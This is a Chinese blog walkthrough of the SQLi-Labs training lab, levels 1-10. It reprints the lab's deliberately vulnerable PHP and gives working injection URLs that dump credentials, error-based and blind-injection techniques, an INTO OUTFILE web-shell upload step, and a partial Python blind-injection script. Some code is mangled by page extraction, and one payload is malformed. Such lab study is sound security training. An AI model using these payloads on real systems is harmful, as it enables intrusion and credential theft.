SQLi-Labs 学习笔记(Less 1-10)

点击打开链接

http://blog.csdn.net/u012763794/article/details/51207833

http://blog.csdn.net/u012763794/article/details/51361152

http://blog.csdn.net/u012763794/article/details/51457142

Less-1 基于错误的 - get 单引号 - 字符型注入


先打开网页查看 Welcome Dhakkan

SQLi-Labs 学习笔记(Less 1-10)_第1张图片


②查看源代码 index.php :
[php]  view plain  copy
  1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
  2. "http://www.w3.org/1999/xhtml">  
  3.   
  4. "Content-Type" content="text/html; charset=utf-8" />  
  5. Less-1 **Error Based- String**  
  6.   
  7.   
  8. "#000000">  
  9. " margin-top:70px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
      
  10. "3" color="#FFFF00">  
  11.   
  12.   
  13. //including the Mysql connect parameters.  
  14. include("../sql-connections/sql-connect.php");  
  15. error_reporting(0);  
  16. // take the variables   
  17. if(isset($_GET['id']))  
  18. {  
  19. $id=$_GET['id'];  
  20. //logging the connection parameters to a file for analysis.  
  21. $fp=fopen('result.txt','a');  
  22. fwrite($fp,'ID:'.$id."\n");  
  23. fclose($fp);  
  24.   
  25. // connectivity   
  26.   
  27.   
  28. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  29. $result=mysql_query($sql);  
  30. $row = mysql_fetch_array($result);  
  31.   
  32.     if($row)  
  33.     {  
  34.     echo "";  
  35.     echo 'Your Login name:'$row['username'];  
  36.     echo "
    "
    ;  
  37.     echo 'Your Password:' .$row['password'];  
  38.     echo "";  
  39.     }  
  40.     else   
  41.     {  
  42.     echo '';  
  43.     print_r(mysql_error());  
  44.     echo "";    
  45.     }  
  46. }  
  47.     else { echo "Please input the ID as parameter with numeric value";}  
  48.   
  49. ?>  
  50.  



  
  • "../images/Less-1.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1  

    SQLi-Labs 学习笔记(Less 1-10)_第2张图片

    看来我们得到了 登录名:Dumb,以及密码:Dumb,那么为什么会显示出来呢?我们来看下index.php中的代码:
    [php]  view plain  copy
    1. if(isset($_GET['id']))                  //判断id的值时候有被设置  
    2. {  
    3. $id=$_GET['id'];                    //取出id值  
    4. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    //构建sql语句,漏洞所在  
    5. .....  
    6. .....  
    7. $result=mysql_query($sql);              //然后查询,并返回结果  
    8. $row = mysql_fetch_array($result);  
    9. if($row)  
    10. {  
    11.     echo "";  
    12.     echo 'Your Login name:'$row['username'];  
    13.     echo "
      "
      ;  
    14.     echo 'Your Password:' .$row['password'];  
    15.     echo "";  
    16.     }  
    17.     else   
    18.     {  
    19.     echo '';  
    20.     print_r(mysql_error());  
    21.     echo "";    
    22.     }  
    23. }  
    24.     else { echo "Please input the ID as parameter with numeric value";}  
    25.   
    26. ?>  


    这样一来就明白了为什么会有这样的结果,当然如果你输入不同的id值就会返回不同的结果,实际查询的语句是:
    [plain]  view plain  copy
    1. SELECT * FROM users WHERE id='1' LIMIT 0,1;  

    注意:这里的$id是被单引号包起来的,我可以可以通过 ' 来验证,输入URL:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1'  


    SQLi-Labs 学习笔记(Less 1-10)_第3张图片

    以下还有两个注入可以成功执行:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1' or'1'='1  
    2. http://localhost/sqli-labs-master/Less-1/?id=1' or 1=1 --+  

    对应的mysql执行语句:
    [plain]  view plain  copy
    1. SELECT * FROM users WHERE id='1' or '1'='1' LIMIT 0,1  
    2. SELECT * FROM users WHERE id='' or 1=1 --+' LIMIT 0,1  

    接下来我们利用 order by 来判断users表中有几列,输入如下:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=1' order by 1 %23  

    SQLi-Labs 学习笔记(Less 1-10)_第4张图片

    SQLi-Labs 学习笔记(Less 1-10)_第5张图片

    注意:%23 是指 # 的编码
    提示的信息可以使我们确定没有第4列,接下来使用联合语句 union 来查询,输入:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 %23  

    SQLi-Labs 学习笔记(Less 1-10)_第6张图片


    注意:细心的朋友可能发现我把1改成-1,原因是当用id=1的时候执行的结果只有一条记录,这是因为在 index.php 中并没有循环取出数据。

    解决方法是:让第一行查询的结果是空集(即union左边的select子句查询结果为空),那么我们union右边的查询结果自然就成为了第一行,就打印在网页上了,这个id他一般传的是数字,而且一般都是从1开始自增的,我们可以把id值设为非正数(负数或0),浮点数,字符型或字符串都行。

    可以看到只有第2列和第3列的结果显示在页面上,我们只有 2,3可以用,接下来我们就利用 2,3来查询数据库的信息,需要用到的函数有:

    concat_ws():从数据库里取N个字段,然后组合到一起用符号分割显示,第一个参数剩余参数间的分隔符
    char():将十进制ASCII码转化成字符
    user():返回当前数据库连接使用的用户
    database():返回当前数据库连接使用的数据库
    version():返回当前数据库的版本


    构建如下Sql语句:

    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,(concat_ws(char(32,58,32),user(),database(),version())) %23  

    注意:这里的32表示 [空格],58表示 [:] ,执行

    SQLi-Labs 学习笔记(Less 1-10)_第7张图片


    知道数据库名了,接下来就是拆解表了。

    首先说一下mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息,下面说一下常用的几个表


    SCHEMATA表:储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等,show databases的结果取之此表。

    TABLES表:储存mysql中的表信息,(当然也有数据库名这一列,这样才能找到哪个数据库有哪些表嘛)包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等。show tables from schemaname的结果取之此表

    COLUMNS表:提供了表中的列信息,(当然也有数据库名和表名称这两列)详细表述了某张表的所有列以及每个列的信息,包括该列是那个表中的第几列,列的数据类型,列的编码类型,列的权限,猎德注释等。是show columns from schemaname.tablename的结果取之此表。


    注意,查询information_schema中的信息时,使用where语句,那个值不能直接用英文,要用单引号包裹着,当然用其十六进制表示也可以,数值类型的就不用单引号了,这对过滤单引号应该有指导意义。

    security的十六进制转换是:0x7365637572697479

    16进制转换地址:http://www.bejson.com/convert/ox2str/


    那么,接下来。构建 Sql 语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 %23  

    SQLi-Labs 学习笔记(Less 1-10)_第8张图片

    只返回一个table,原因很简单,还是循环问题。那么我们可以使用limit来依次列举:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1 %23  

    SQLi-Labs 学习笔记(Less 1-10)_第9张图片\

    不断的改变,limit的第一个参数,就可以一次列举出来,不过太麻烦了,我们直接使用 group_concat函数,该函数返回一个字符串结果,该结果由分组中的值连接组合而成,那么构建 sql 语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(char(32),username,char(32)),group_concat(char(32),password,char(32)) from users--+  

    SQLi-Labs 学习笔记(Less 1-10)_第10张图片


    Less-2 基于错误的 - get - 数字型

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第11张图片


    ②查看源代码 index.php :
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-2 **Error Based- Intiger**  
    6.   
    7.   
    8. "#000000">  
    9.   
    10.   
    11.   
    12.   
    13. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    14. "3" color="#FFFF00">  
    15.   
    16.   
    17. //including the Mysql connect parameters.  
    18. include("../sql-connections/sql-connect.php");  
    19. error_reporting(0);  
    20. // take the variables  
    21. if(isset($_GET['id']))  
    22. {  
    23. $id=$_GET['id'];  
    24. //logging the connection parameters to a file for analysis.  
    25. $fp=fopen('result.txt','a');  
    26. fwrite($fp,'ID:'.$id."\n");  
    27. fclose($fp);  
    28.   
    29.   
    30. // connectivity   
    31. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
    32. $result=mysql_query($sql);  
    33. $row = mysql_fetch_array($result);  
    34.   
    35.     if($row)  
    36.     {  
    37.     echo "";  
    38.     echo 'Your Login name:'$row['username'];  
    39.     echo "
      "
      ;  
    40.     echo 'Your Password:' .$row['password'];  
    41.     echo "";  
    42.     }  
    43.     else   
    44.     {  
    45.     echo '';  
    46.     print_r(mysql_error());  
    47.     echo "";    
    48.     }  
    49. }  
    50.     else  
    51.         {     
    52.         echo "Please input the ID as parameter with numeric value";  
    53.         }  
    54.   
    55. ?>  
    56.   
    57.   
    58.  



      
  • "../images/Less-2.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value   

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第12张图片

    这样我们就得到了用户名和密码,在 index.php 中唯一的区别就是 $id 没有用单引号包住了,这是因为sql对于数字型的数据可以不加单引号。当然这也使得注入更加容易了,没什么好说的,构建sql语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-1/?id=-1 union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+  

    SQLi-Labs 学习笔记(Less 1-10)_第13张图片


    Less-3基于错误的 - GET单引号变形字符型注入

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第14张图片


    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-3 Error Based- String (with Twist)   
    6.   
    7.   
    8.   
    9. "#000000">  
    10.   
    11. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    12. "3" color="#FFFF00">  
    13.   
    14.   
    15. //including the Mysql connect parameters.  
    16. include("../sql-connections/sql-connect.php");  
    17. error_reporting(0);  
    18. // take the variables  
    19. if(isset($_GET['id']))  
    20. {  
    21. $id=$_GET['id'];  
    22. //logging the connection parameters to a file for analysis.  
    23. $fp=fopen('result.txt','a');  
    24. fwrite($fp,'ID:'.$id."\n");  
    25. fclose($fp);  
    26.   
    27. // connectivity   
    28.   
    29.   
    30. $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";  
    31. $result=mysql_query($sql);  
    32. $row = mysql_fetch_array($result);  
    33.   
    34.     if($row)  
    35.     {  
    36.     echo "";  
    37.     echo 'Your Login name:'$row['username'];  
    38.     echo "
      "
      ;  
    39.     echo 'Your Password:' .$row['password'];  
    40.     echo "";  
    41.     }  
    42.     else   
    43.     {  
    44.     echo '';  
    45.     print_r(mysql_error());  
    46.     echo "";    
    47.     }  
    48. }  
    49.     else { echo "Please input the ID as parameter with numeric value";}  
    50.   
    51. ?>  
    52.   
    53.   
    54.  



      
  • "../images/Less-3.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第15张图片


    一样的画面,可以发现在 index.php 中的 $id 改成了 ('$id') 了,当然,也很容易验证:
    SQLi-Labs 学习笔记(Less 1-10)_第16张图片

    首先看到near和at之间的字符串,直接将左右的引号去掉,那么就得到'-1'') LIMIT 0,1,')是多出来的,因此可以确认这是单引号注入的变形。输入如下sql语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-3/?id=1')--+  

    SQLi-Labs 学习笔记(Less 1-10)_第17张图片

    正常显示了吧,基本上就没什么区别了,构建的sql语句如下:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-3/?id=-1') union select 1,group_concat(char(32),username,char(32),group_concat(char(32),password,char(32)) from users--+  


    Less-4基于错误的GET双引号字符型注入

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第18张图片

    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-4 Error Based- DoubleQuotes String  
    6.   
    7.   
    8. "#000000">  
    9. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    10. "3" color="#FFFF00">  
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15. error_reporting(0);  
    16. // take the variables  
    17. if(isset($_GET['id']))  
    18. {  
    19. $id=$_GET['id'];  
    20. //logging the connection parameters to a file for analysis.  
    21. $fp=fopen('result.txt','a');  
    22. fwrite($fp,'ID:'.$id."\n");  
    23. fclose($fp);  
    24.   
    25. // connectivity   
    26.   
    27. $id = '"' . $id . '"';  
    28. $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";  
    29. $result=mysql_query($sql);  
    30. $row = mysql_fetch_array($result);  
    31.   
    32.     if($row)  
    33.     {  
    34.     echo "";  
    35.     echo 'Your Login name:'$row['username'];  
    36.     echo "
      "
      ;  
    37.     echo 'Your Password:' .$row['password'];  
    38.     echo "";  
    39.     }  
    40.     else   
    41.     {  
    42.     echo '';  
    43.     print_r(mysql_error());  
    44.     echo "";    
    45.     }  
    46. }  
    47.     else { echo "Please input the ID as parameter with numeric value";}  
    48.   
    49. ?>  
    50.   
    51.  



      
  • "../images/Less-4.jpg" />
  •   
  •   
  •   

  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第19张图片

    在URL后面加上单引号,发现没有报错,这是为什么呢? 因为php中的双引号可以包含单引号 (" $id' ")
    SQLi-Labs 学习笔记(Less 1-10)_第20张图片

    解决方法也很简单,直接加上双引号:
    SQLi-Labs 学习笔记(Less 1-10)_第21张图片

    将 near 和 at 之间的单引号去点得到,''1''),很显然使用 (" $id' ")这种形式,解决方法也很简单,构建的sql语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(char(32),username,char(23)),group_concat(char(32),password,char(32)) from users--+  

    SQLi-Labs 学习笔记(Less 1-10)_第22张图片

    Less-5双注入GET单引号字符型注入

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第23张图片


    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-5 Double Query- Single Quotes- String  
    "#000000">  
  • " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
      
  • "3" color="#FFFF00">
  •   
  • //including the Mysql connect parameters.  
  • include("../sql-connections/sql-connect.php");  
  • error_reporting(0);  
  • // take the variables  
  • if(isset($_GET['id']))  
  • {  
  • $id=$_GET['id'];  
  • //logging the connection parameters to a file for analysis.  
  • $fp=fopen('result.txt','a');  
  • fwrite($fp,'ID:'.$id."\n");  
  • fclose($fp);
  • // connectivity 
      
  • $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
  • $result=mysql_query($sql);  
  • $row = mysql_fetch_array($result);
  •  if($row)  
  •  {  
  •    echo '';   
  •    echo 'You are in...........';  
  •    echo "
    "
    ;  
  •      echo "";  
  •    }  
  •  else   
  •  {  
  •    
  •  echo '';  
  •  print_r(mysql_error());  
  •  echo "
    "
    ;   
  •  echo '';   
  •    
  •  }  
  • }  
  •  else { echo "Please input the ID as parameter with numeric value";}
  • ?>
     



      
  • "../images/Less-5.jpg" />
  •   
  •   
  •   
  •   

    可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第24张图片

    提示:You are in.......,没有像之前那样正常输出用户名和密码,怎么回事呢?看下 index.php 中的代码:
    [plain]  view plain  copy
    1. if($row)  
    2. {  
    3.   echo '';   
    4.   echo 'You are in...........';  
    5.   echo "
      ";  
    6.     echo "";  
    7.  }  

    怪不得没有,因为根本就没有输出 $row 这个查询结果,由于是双注入,百度了一下,总结如下:

    双查询注入顾名思义形式上是两个嵌套的查询,即select ...(select ...),里面的那个select被称为子查询,他的执行顺序也是先执行子查询,然后再执行外面的select,双注入主要涉及到了几个sql函数:

    rand()随机函数,返回0~1之间的某个值
    floor(a)取整函数,返回小于等于a,且值最接近a的一个整数
    count()聚合函数也称作计数函数,返回查询对象的总数
    group by cluase分组语句,按照cluase对查询结果分组

    如果还是不懂可以看此链接: http://www.2cto.com/article/201303/192718.html

    双注入的原理总的来说就是,当一个聚合函数后面出现group分组语句时,会将查询的一部分结果以报错的形式返回,他有一个固定的公式。 那么开始构建sql语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

    SQLi-Labs 学习笔记(Less 1-10)_第25张图片

    获取到数据库名后再用同样的方法获取表名:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

    SQLi-Labs 学习笔记(Less 1-10)_第26张图片

    接下里查询用户信息,构建语句如下:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-5/?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

    SQLi-Labs 学习笔记(Less 1-10)_第27张图片

    通过改变 limit 的值就可以遍历用户信息了。


    Less-6双注入GET双引号字符型注入

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第28张图片


    ②查看源代码:
    [php]  view plain  copy
    1. "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
    2. "http://www.w3.org/1999/xhtml">  
    3.   
    4. "Content-Type" content="text/html; charset=utf-8" />  
    5. Less-6 Double Query- Double Quotes- String  
    6.   
    7.   
    8. "#000000">  
    9. " margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome   "#FF0000"> Dhakkan 
        
    10. "3" color="#FFFF00">  
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15. error_reporting(0);  
    16. // take the variables  
    17. if(isset($_GET['id']))  
    18. {  
    19. $id=$_GET['id'];  
    20. //logging the connection parameters to a file for analysis.  
    21. $fp=fopen('result.txt','a');  
    22. fwrite($fp,'ID:'.$id."\n");  
    23. fclose($fp);  
    24.   
    25. // connectivity   
    26.   
    27. $id = '"'.$id.'"';  
    28. $sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";  
    29. $result=mysql_query($sql);  
    30. $row = mysql_fetch_array($result);  
    31.   
    32.     if($row)  
    33.     {  
    34.     echo '';     
    35.     echo 'You are in...........';  
    36.     echo "
      "
      ;  
    37.     echo "";  
    38.     }  
    39.     else   
    40.     {  
    41.       
    42.     echo '';  
    43.     print_r(mysql_error());  
    44.     echo "
      "
      ;      
    45.     echo '';    
    46.       
    47.     }  
    48. }  
    49.     else { echo "Please input the ID as parameter with numeric value";}  
    50.   
    51. ?>  
    52.  



      
  • "../images/Less-6.jpg" />
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第29张图片

    还是没输出什么有价值的信息,试一试让它报错:

    SQLi-Labs 学习笔记(Less 1-10)_第30张图片

    看来是双引号注入了,类似上面的,构建语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-6/?id=-1" union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 0,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+  

    SQLi-Labs 学习笔记(Less 1-10)_第31张图片


    Less-7 导出文件GET字符型注

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第32张图片

    ②查看源代码:
    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-7 Dump into Outfile  
    6.   
    7.   
    8.   
    9.   
    10.   
    11. Welcome    Dhakkan 
        
    12.   
    13.   
    14.   
    15. //including the Mysql connect parameters.  
    16. include("../sql-connections/sql-connect.php");  
    17. error_reporting(0);  
    18. // take the variables  
    19. if(isset($_GET['id']))  
    20. {  
    21. $id=$_GET['id'];  
    22. //logging the connection parameters to a file for analysis.  
    23. $fp=fopen('result.txt','a');  
    24. fwrite($fp,'ID:'.$id."\n");  
    25. fclose($fp);  
    26.   
    27. // connectivity   
    28.   
    29.   
    30. $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";  
    31. $result=mysql_query($sql);  
    32. $row = mysql_fetch_array($result);  
    33.   
    34.     if($row)  
    35.     {  
    36.     echo '';     
    37.     echo 'You are in.... Use outfile......';  
    38.     echo "
      ";  
    39.     echo "";  
    40.     }  
    41.     else   
    42.     {  
    43.     echo '';  
    44.     echo 'You have an error in your SQL syntax';  
    45.     //print_r(mysql_error());  
    46.     echo "";    
    47.     }  
    48. }  
    49.     else { echo "Please input the ID as parameter with numeric value";}  
    50.   
    51. ?>  
    52.  



      
  •   
  •   
  •   

  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第33张图片

    弹出 Use outfile, 尝试之前的方法行不通了,他把报错做了处理统一返回“You have an error in your SQL syntax”,明显的,他也给出了提示use outfile,outfile的固定结构是:select A into outfile B,这里的B通常是一个文件路径,A可以是文本内容(小马),也可以是数据库信息,于是这里就有三种思路:

    第一种,构造select * from users into outfile "数据库导入导出数据的目录",先来判断一下我们是否是最高权限
    SQLi-Labs 学习笔记(Less 1-10)_第34张图片

    显示正常,说明的确是最高权限。

    SQLi-Labs 学习笔记(Less 1-10)_第35张图片


    提示语法错误,并且在C盘也没有找到数据文件,百度了一下,原因如下:

    Mysql数据库需要在指定的目录下进行数据的导出, secure_file_priv这个参数用来限制数据导入和导出操作的效果,例如执行LOAD DATA、SELECT ... INTO OUTFILE语句和LOAD_FILE()函数。这些操作需要用户具有FILE权限。
    如果这个参数为空,这个变量没有效果;
    如果这个参数设为一个目录名,MySQL服务只允许在这个目录中执行文件的导入和导出操作。这个目录必须存在,MySQL服务不会创建它;
    如果这个参数为NULL,MySQL服务会禁止导入和导出操作。这个参数在MySQL 5.7.6版本引入。

    如果有出现  secure_file_priv  路径有问题的,可以参考: http://blog.csdn.net/man_to_home/article/details/54947518

    SQLi-Labs 学习笔记(Less 1-10)_第36张图片

    虽然提示语法错误,不过c盘上已经有了data.txt这个文件了:
    SQLi-Labs 学习笔记(Less 1-10)_第37张图片

    第二种,将一句话木马写入到文件,用菜刀拿下网站:

    首先介绍两个可以说是函数,还是变量的东西
    @@datadir 读取数据库路径
    @@basedir MYSQL 获取安装路径

    构建如下语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-3/?id=1')) union select 1,@@basedir,@@datadir--+  

    得到如下路径:
    SQLi-Labs 学习笔记(Less 1-10)_第38张图片

    最后构建如下语句:
    [plain]  view plain  copy
    1. http://localhost/sqli-labs-master/Less-7/?id=-1')) union select 1,'2','' into outfile 'C:/AppServ/www/data.txt' %23  

    然后菜刀连接,这里不演示了,不会的话可以百度一下。


    Less-8 布尔型单引号GET盲注

    先打开网页查看 Welcome Dhakkan
    SQLi-Labs 学习笔记(Less 1-10)_第39张图片


    ②查看源代码:
    [plain]  view plain  copy
    1.   
    2.   
    3.   
    4.   
    5. Less-8 Blind- Boolian- Single Quotes- String  
    6.   
    7.   
    8.   
    9. Welcome    Dhakkan 
        
    10.   
    11.   
    12.   
    13. //including the Mysql connect parameters.  
    14. include("../sql-connections/sql-connect.php");  
    15. error_reporting(0);  
    16. // take the variables  
    17. if(isset($_GET['id']))  
    18. {  
    19. $id=$_GET['id'];  
    20. //logging the connection parameters to a file for analysis.  
    21. $fp=fopen('result.txt','a');  
    22. fwrite($fp,'ID:'.$id."\n");  
    23. fclose($fp);  
    24.   
    25. // connectivity   
    26.   
    27.   
    28. $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";  
    29. $result=mysql_query($sql);  
    30. $row = mysql_fetch_array($result);  
    31.   
    32.     if($row)  
    33.     {  
    34.     echo '';     
    35.     echo 'You are in...........';  
    36.     echo "
      ";  
    37.         echo "";  
    38.     }  
    39.     else   
    40.     {  
    41.       
    42.     echo '';  
    43.     //echo 'You are in...........';  
    44.     //print_r(mysql_error());  
    45.     //echo "You have an error in your SQL syntax";  
    46.     echo "
      ";      
    47.     echo '';    
    48.       
    49.     }  
    50. }  
    51.     else { echo "Please input the ID as parameter with numeric value";}  
    52.   
    53. ?>  
    54.   
    55.  



      
  •   
  •   
  •   


  • 可以看到页面中显示:
    [plain]  view plain  copy
    1. Please input the ID as parameter with numeric value  

    按它说的做,那我们就在URL后面输入:
    SQLi-Labs 学习笔记(Less 1-10)_第40张图片

    正常输入返回“You are in......”,尝试单引号却什么都没返回,看了下源码就是这样处理的,点题盲注, 盲注主要分为bool型和时间性,通常涉及到这几个函数:

    length(str):返回字符串str的长度
    substr(str,pos,len):将str从pos位置开始截取len长度的字符返回,需要注意的是这里pos的是从1开始的
    mid(str,pos,len):和substr()类似
    ascii(str):返回字符串str最左边的acsii码(即首字母的acsii码)
    ord():同上,返回acsii码
    left(str,len):对字符串str左截取len长度
    right(str,len):对字符串str右截取len长度
    if(a,b,c):条件判断,如果a为true,返回b,否则返回c

    盲注有个固定式:and ascii(substr(A,1,1))>B,或者and if( ascii(substr(A,1,1))>B ,1,0),这里的A通常是一个select语句,B则是字符或数字的ascii码, 他们的中心思想都是通过substr等截取函数以二分法的形式 查询 逐个匹配想要的信息,这个过程通常都很耗时,所以建议直接写个盲注脚本来跑

    下面是盲注匹配的一个例子,我们来匹配数据库名,在之前的实验中已知数据库名是security,下面的sql语句是用来匹配数据库名的第一个字母
    SQLi-Labs 学习笔记(Less 1-10)_第41张图片

    字母s的ascii码是115,所以他大于114,结果为true,页面显示正常,依次类推即可

    当然也可以用脚本来跑,从别人那挖来的:
    [python]  view plain  copy
    1. # -*-coding:utf-8-*-  
    2.    
    3. """  
    4. @version:   
    5. @author: giantbranch  
    6. @file: code_inject.py  
    7. @time: 2016/5/1   
    8. """  
    9.    
    10. import urllib2  
    11. import urllib  
    12.    
    13.    
    14. success_str = "You are in"  
    15. getTable = "users"  
    16.    
    17. index = "0"  
    18. url = "http://localhost/sqli-labs/Less-8/?id=1"  
    19. database = "database()"  
    20. selectDB = "select database()"  
    21. selectTable = "select table_name from information_schema.tables where table_schema='%s' limit %d,1"  
    22.    
    23.    
    24. asciiPayload = "' and ascii(substr((%s),%d,1))>=%d #"  
    25. lengthPayload = "' and length(%s)>=%d #"  
    26. selectTableCountPayload = "'and (select count(table_name) from information_schema.tables where table_schema='%s')>=%d #"  
    27.    
    28. selectTableNameLengthPayloadfront = "'and (select length(table_name) from information_schema.tables where table_schema='%s' limit "  
    29. selectTableNameLengthPayloadbehind = ",1)>=%d #"  
    30.    
    31.    
    32. # 发送请求,根据页面的返回的判断长度的猜测结果  
    33. # string:猜测的字符串 payload:使用的payload  length:猜测的长度  
    34. def getLengthResult(payload, string, length):  
    35.     finalUrl = url + urllib.quote(payload % (string, length))  
    36.     res = urllib2.urlopen(finalUrl)  
    37.     if success_str in res.read():  
    38.         return True  
    39.     else:  
    40.         return False  
    41.    
    42. # 发送请求,根据页面的返回的判断猜测的字符是否正确  
    43. # payload:使用的payload    string:猜测的字符串   pos:猜测字符串的位置    ascii:猜测的ascii  
    44. def getResult(payload, string, pos, ascii):  
    45.     finalUrl = url + urllib.quote(payload % (string, pos, ascii))  
    46.     res = urllib2.urlopen(finalUrl)  
    47.     if success_str in res.read():  
    48.         return True  
    49.     else:  
    50.         return False  
    51.    
    52. # 注入  
    53. def inject():  
    54.     # 猜数据库长度  
    55.     lengthOfDBName = getLengthOfString(lengthPayload, database)  
    56.     print "length of DBname: " + str(lengthOfDBName)  
    57.     # 获取数据库名称  
    58.     DBname = getName(asciiPayload, selectDB, lengthOfDBName)  
    59.        
    60.     print "current database:" + DBname  
    61.    
    62.     # 获取数据库中的表的个数  
    63.     # print selectTableCountPayload  
    64.     tableCount = getLengthOfString(selectTableCountPayload, DBname)  
